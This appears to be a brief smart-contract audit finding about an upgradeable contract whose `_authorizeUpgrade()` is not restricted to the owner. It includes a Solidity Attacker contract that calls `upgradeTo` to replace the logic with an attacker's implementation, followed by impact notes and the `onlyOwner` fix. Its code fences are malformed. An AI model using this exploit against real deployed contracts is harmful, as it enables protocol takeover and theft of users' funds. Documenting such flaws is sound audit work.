

Exploit PoC - Missing Upgrade Authorization Guard

Description:

If `_authorizeUpgrade()` is not restricted with `onlyOwner`, any address can call `upgradeTo(...)` and replace the contract logic.

Exploit Example (Solidity)

```
```solidity
```

```
contract Attacker {

 address public logic;

 address public newImplementation;

 constructor(address _logic, address _newImpl) {

 logic = _logic;

 newImplementation = _newImpl;

 }

 function attack() external {

 (bool success,) = logic.call(

 abi.encodeWithSignature("upgradeTo(address)", newImplementation)

);

 require(success, "Upgrade failed");

 }

}
```

```
```
```

Impact:

- Full control over logic contract
- Potential theft, data loss, protocol disruption

Recommendation:

Restrict `_authorizeUpgrade()` with `onlyOwner` or relevant access control modifier.